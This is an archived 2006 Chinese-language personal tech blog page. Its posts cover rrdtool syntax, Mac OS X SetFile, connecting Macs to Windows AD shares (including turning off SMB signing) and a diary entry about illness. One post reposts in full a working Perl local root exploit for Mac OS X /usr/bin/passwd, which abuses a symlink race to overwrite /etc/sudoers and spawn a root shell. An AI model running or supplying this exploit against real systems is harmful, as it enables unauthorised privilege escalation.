Archive

2006年3月 的Archive

[FreeBSD]rrdtools初探

2006年3月14日 ceciltsai 尚無評論

rrdtool,實在是有點麻煩的東西
光是律定資料庫行為的create指令就看好久 Orz

語法:
rrdtool create filename
[--start|-b start time]
[--step|-s step]
[DS:ds-name:DST:heartbeat:min:max]
[RRA:CF:xff:steps:rows]

[DS:ds-name:DST:heartbeat:min:max]
DS,DataSource,為宣告資料變數的部份
———————————————————-
DST,DataSourceType,宣告資料型態
有以下幾種可以使用:(就輸入5 10 7的情況)
1.GAUAGE→個別值,畫5、10、7
2.COUNTER→計數器,畫5、-3
3.DERIVE→累計,畫5、0(低於0為0)
4.ABSOLUTE→跟COUNTER類似,會取絕對值避開overflow的情況
(後三者的值會取兩次之間的平均值,如step=300→5/300)

heartbeat(有效期):
600表示總時間,故step為600/2=300(秒)

min:max
資料的範圍,如不想限制可改為U:U (unknown:unknown)
———————————————————-

[RRA:CF:xff:steps:rows]
RRA,RoundRobinArchive,為處理資料筆數的部份
———————————————————-
CF(colidation function),有以下幾種:
AVERAGE,MIN,MAX,LAST 一般常用AVERAGE
xff通常會設定為0.5
steps為取幾筆資料做平均
rows為欲取幾筆資料存至資料庫之中
———————————————————-

ex1.
DS:DS1:COUNTER:600:0:1000
RRA:0.5:1:432

step為300,300秒=5分鐘,
每五分鐘取一筆資料,每五分鐘平均一次(5×1),
存432筆資料(5×432=2160,共存2160分鐘的資料後從頭開始)

ex2.
DS:DS2:COUNTER:600:U:U
RRA:0.5:6:800

step為300秒,300秒=5分鐘
每五分鐘取一次資料,每30分鐘取一次平均值(5×6=30),
存800筆資料(5×800=4000,4000分鐘後從頭開始)

參考資料:
rrdtool 教學
[教學]大作 rrdtool (像 mrtg 的東東)完全攻略
Using SNMP and RRDTool on FreeBSD

Categories: Uncategorized Tags:

[MacOSX][Xcode]SetFile

2006年3月13日 ceciltsai 尚無評論

要在MacOSX下面隱藏磁區,並不像隱藏檔案那麼簡單
只需要在檔案前面加個』.』就可以達成目的
我們需要安裝XcodeDeveloperTools來使用這項功能

首先,先安裝Xcode Developer Tools
安裝完畢之後,開Terminal進入文字模式
執行以下指令:

cd /Developer/Tools
./SetFile -a V [欲隱藏之磁區或檔案]

接著登出登入,就看不見了~
如果想要把檔案變回來,就執行:

SetFile -a v [欲隱藏之磁區或檔案]

登出登入,鏘鏘~

不過這指令也並非無敵,有兩個方法可以進入此磁區/檔案
第一個就是終端機,第二個用GotoFolder
為甚麼呢?因為他只對Finder有效
所以,在MacOSX下,指令列還是所向無敵的 :D

指令說明

Alias A |a File is/isn’t an alias.
Bundle B | b File has/hasn’t a bundle resource.
Custom Icon C | c File has/hasn’t a custom icon.
Desktop Item D | d File is/isn’t on the Desktop.
Extension E | e Filename extension is/isn’t hidden.
Inited I | i File is/isn’t init’ed.
Locked L | l File is/isn’t locked.
Shared M | m Multiple users can/can’t run file at once (applies to application files).
INIT N | n File has/hasn’t INIT resource.
System S | s File is/isn’t a system file (locks name).
Stationary T | t File is/isn’t a stationary file.
Invisible V | v File is/isn’t invisible to Finder.

Categories: Uncategorized Tags:

[MacOSX] "/usr/bin/passwd" Binary Local Privilege Escalation (root) Exploit"

2006年3月9日 ceciltsai 尚無評論

#!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit.
#
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
#
# (Apple) OSX’s /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path. this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files.
#
# the first issue will only work if the file does not already exist,
# it is done using 『umask 0;/usr/bin/passwd -i file -l 『.
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp., which can be predicted and linked to a file of
# your choice. (this exploits the second issue to overwrite
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)

use POSIX;

$fake_passwd=』/tmp/xpasswd.$$』;
$passwd_pid=($$ + 1);
$passwd_tempfile=』/tmp/.pwtmp.$passwd_pid』;
$sudoers=』/etc/sudoers』;

sub pexit{print(『[!] @_.\n』);exit(1);}
print(『[*] /usr/bin/passwd[OSX]: local root exploit.\n』);
print(『[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n』);
unlink($fake_passwd);
print(『[*] making fake password file. ($fake_passwd)\n』);
open(FP,』>$fake_passwd』)||pexit(『couldn’t open/write to $fake_passwd』);
# uid must equal the current user.
print(FP 『ALL ALL=(ALL) ALL #::』 . getuid . 『:』 . getuid . 『::』 .
getuid . 『:』 . getuid . 『::/:/\n』);
close(FP);
print(『[*] sym-linking $sudoers -> $passwd_tempfile.\n』);
symlink($sudoers,$passwd_tempfile)||pexit(『couldn’t link files.』);
print(『[*] running /usr/bin/passwd on $fake_passwd.\n』);
print(『[*] (use ANY password longer than 4 characters)\n\n』);
system(『/usr/bin/passwd -i file -l $fake_passwd \』ALL ALL=(ALL) ALL #\』");
print(『\n[*] running \』sudo sh\』, use your REAL (user) password.\n\n』);
system(『/usr/bin/sudo sh』);
exit(0);

LATEST EXPLOITS / DERNIERS EXPLOITS :

- RevilloC MailServer 1.x 『USER』 Command Handling Remote Buffer Overflow Exploit
- Microsoft Visual Studio 『dbp』 File Handling Buffer Overflow Proof of Concept Exploit
- LibTIFF Library 『BitsPerSample』 Tag Handling Client-Side Buffer Overflow Exploit
- Apple Mac OS X 『/usr/bin/passwd』 Binary Local Privilege Escalation (root) Exploit
- Microsoft Internet Explorer 『IsComponentInstalled()』 Remote Stack Overflow Exploit
- Kerio Personal Firewall Authentication Packet Handling Remote Buffer Overflow Exploit
- SCO UnixWare 『ptrace』 Call Binaries Debugging Local Privilege Escalation Exploit
- Apple Mac OS X / Safari 『__MACOSX』 ZIP Archive Remote Code Execution Exploit
- Microsoft Windows Media Player Plugin Remote Code Execution Exploit (MS06-006) #3

這是MacOSX的安全性漏洞,目前已在Tiger 10.4.3上實驗過
只要是一般普通的使用者執行這支perl程式之後,就可拿到root
推測其行為應該是當MacUser在用Terminal下使用passwd修改密碼
passwd -u會依據使用者指定的資料庫格式,來寫入密碼至正確的資料庫
首先他會先在/tmp下建立一個temporary swap file
這隻程式就會在此時代換這個檔案,使user可利用sudo變換身份為root

資料來源:
Apple Mac OS X 『/usr/bin/passwd』 Binary Local Privilege Escalation (root) Exploit

Categories: Uncategorized Tags:

MacOSX連結Windows AD ShareFolder解決方法

2006年3月8日 ceciltsai 尚無評論

在普通的情況下,MacOSX要mount進Windows的分享資料夾
只需要在連結伺服器中打smb://[IP]即可
但當Windows升級為AD網域環境時
因為Windows2003預設會將封包加密打開,
造成MacOSX根本連認證的封包都無法正確傳遞給Server而無法連結
遇到這種情況,我們可用以下的方法解決:

A.修改GroupPolicy,將預設的封包加密解除

開始→系統管理工具→網域控制站安全性原則
安全性設定→本機原則→安全性選項
將』Microsoft網路伺服器:數位簽章伺服器的通訊(自動)』此項停用

B.直接修改機碼

regedit
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Set\Services
\lanmanserver\paremeters
其中的requiresecuritysignature此項更改為0(停用)

C.安裝微軟的解決方案
Macintosh client cannot connect to Services for Mac on Windows Server 2003

參考資料:
老地方冰果室交流區:把 Mac 連上 Windows AD 網域的【共用資料夾】正式解決方案!
Networking Windows (2000/XP/2003*) with Mac OS X (10.3/10.4)

Categories: Uncategorized Tags:

生病了 @@

2006年3月7日 ceciltsai 1 則評論

打從前兩天跟老媽去日月潭、九族文化村的時候
身體就開始一點一點的不舒服起來
昨天回到台北的時候,應該可算是最嚴重的時候吧
感冒能有的症狀都出現了 @@
睡了一晚,早上起來仍然很不舒服
於是就請了一天假在家休息

今天的狀況,比起昨天來是好了不少
但是想想那麼拼命去公司,為的只是那不是很多的薪水 ヽ(`д´)ノ
人就不由自主的懶了起來 :P
反正今天也沒排甚麼行程,乾脆在家裏休息
順便把該趕的Fate/StayNight進度趕一下
不過…這種字超多的電子小說,實在不適合在生病的時候玩
玩個兩天的進度我就放棄了..@@..頭昏腦脹的
之後,就一直坐在電腦前面發呆
呆呆的望著MSN,希望能有個人丟個水球過來聊聊天
只不過,大家好像都很忙,沒人理我 @@ (廢話…上班時間耶 Orz

一個人的時候生起病來,真不是件容易熬過的事情
希望自己能夠好好的再次記住生病的痛苦,下次不要再不關窗戶睡了@@
要不然年紀輕輕就像個獨居無助的孤苦老人一樣,
窩在家裡面養病,還沒人注意 XD

Categories: Uncategorized Tags: